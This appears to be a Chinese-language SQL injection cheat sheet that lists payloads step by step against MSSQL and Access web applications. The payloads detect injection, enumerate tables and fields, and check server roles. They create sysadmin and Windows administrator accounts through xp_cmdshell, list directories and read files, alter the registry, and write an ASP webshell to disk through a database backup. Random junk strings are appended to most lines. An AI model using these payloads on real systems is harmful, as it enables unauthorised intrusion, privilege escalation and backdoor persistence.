1.判断是否有注入;and 1=1 ;and 1=2 o>).Cj
2.初步判断是否是mssql ;and user>0 q4R5<LW"
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3.注入参数是字符'and [查询条件] and ''=' whmdcVh.
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' b=g8eMm
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5.判断数据库系统 gD,1 06%
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;and (select count(*) from sysobjects)>0 mssql H2&@shOOQJ
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;and (select count(*) from msysobjects)>0 access I(]}XZq
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 r;/4F/6"
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 u5O+1sZ"6
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 aK&b{d
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9.(1)猜字段的ascii值(access) I, -hf=-
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ?p9VO.^5
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(2)猜字段的ascii值(mssql) RS"H8P4W
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;o^eC!:/%
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10.测试权限结构(mssql) C+?Hm1
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ?Y)vGlWDW<
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- nA?`BOe(
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- VcAue!MN
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- X'wE7=29M
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- V_>\9m
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- _]04lGx27
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;and 1=(select IS_MEMBER('db_owner'));-- /,1D)0
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11.添加mssql和系统的帐户 INcg S MM
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;exec master.dbo.sp_addlogin username;-- 7q?9Tj3
;exec master.dbo.sp_password null,username,password;-- F|F]970
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- O>qll6]{@
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;exec master.dbo.xp_cmdshell 'net user username password ~Cl){8o
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- F
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- Cnnh7`
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- WxW7qt
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12.(1)遍历目录 ^w(p8G_-w
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;create table dirs(paths varchar(100), id int) ykv94i?Q
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;insert dirs exec master.dbo.xp_dirtree 'c:\' pR
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;and (select top 1 paths from dirs)>0 C2@,BCR
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) =6woWlf b
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(2)遍历目录 7Ok;Lt!x
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- aJYgzr,
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 z)'M k[
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Tg!i%v(-t
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 A{UULVp
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 F_Z- 8>P
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13.mssql中的存储过程 LAVAFlK5
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xp_regenumvalues 注册表根键, 子键 Em?d*z
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 }tsYJlh5
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xp_regread 根键,子键,键值名 }Mo=PWI1?
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;exec xp_regread :{qv~&+C
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 sW)Zi
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xp_regwrite 根键,子键, 值名, 值类型, 值 ~(x;5{
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 |3F02
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xp_regdeletevalue 根键,子键,值名 7w
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ?g?L3vRK
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 i7ISX>%
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14.mssql的backup创建webshell R>,:A%?^b5
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use model i-bJS6
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create table cmd(str image); 1c<=A!"{
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insert into cmd(str) values (''); B+[A]dgS
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backup database model to disk='c:\l.asp'; s_x:T<]
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15.mssql内置函数 7h6,c /<
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;and (select @@version)>0 获得Windows的版本号 { T4
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa {z(xFrY
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;and (select user_name())>0 爆当前系统的连接用户 YGv<VOWG2
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;and (select db_name())>0 得到当前连接的数据库 ^&bRX4pYo
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16.简洁的webshell 1U^A56CN
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use model S|apw7C
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create table cmd(str image); q6_u@:3u
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insert into cmd(str) values (''); 5m?8yT}
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backup database model to disk='g:\wwwtest\l.asp';